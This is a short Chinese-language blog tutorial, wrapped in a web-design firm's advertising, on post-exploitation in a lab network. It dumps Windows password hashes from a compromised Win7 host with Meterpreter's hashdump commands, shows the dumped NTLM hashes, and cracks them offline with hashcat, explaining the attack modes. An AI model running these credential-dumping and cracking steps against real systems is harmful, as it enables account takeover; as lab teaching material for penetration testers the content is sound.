扫二维码与项目经理沟通
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流
这期内容当中小编将会给大家带来有关如何破解内网hash值，文章内容丰富且以专业的角度为大家分析和叙述，阅读完这篇文章希望大家可以有所收获。
为城厢等地区用户提供了全套网页设计制作服务，及城厢网站建设行业解决方案。主营业务为成都网站设计、成都做网站、城厢网站设计，以传统方式定制建设网站，并提供域名空间备案等一条龙服务，秉承以专业、用心的态度为用户提供真诚的服务。我们深信只要达到每一位用户的要求，就会得到认可，从而选择与我们长期合作。这样，我们也可以走得更远！
环境：小攻：Kali 2020，ip：192.168.1.133
小受：win7 x86，ip：192.168.1.137
一、生成木马及监听主机参考上篇文章：
内网渗透 -- 提升权限(利用提权漏洞)
二、获取内网的hash值
1、直接获取：hashdump
meterpreter > hashdumpAdministrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::aiyou:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
2、通过模块获取：run post/windows/gather/hashdump
三、破解内网的hash值
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::aiyou:1002:aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204beb12283678:::
1、将最后一段密文复制到在线解密网站
2、利用hashcat离线破解
hashcat -a 0 -m 1000 1.txt 2.txt --force
-a 指定攻击模式，有5种模式
0 Straight（字典破解）
1 Combination（组合破解）
3 Brute-force（掩码暴力破解）
6 Hybrid dict + mask（混合字典+掩码）
7 Hybrid mask + dict（混合掩码+字典）
-m 指定hash类型
1.txt内容为获取的hash值
2.txt内容为解密的字典
上述就是小编为大家分享的如何破解内网hash值了，如果刚好有类似的疑惑，不妨参照上述分析进行理解。如果想知道更多相关知识，欢迎关注创新互联行业资讯频道。
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流
微信二维码
移动版官网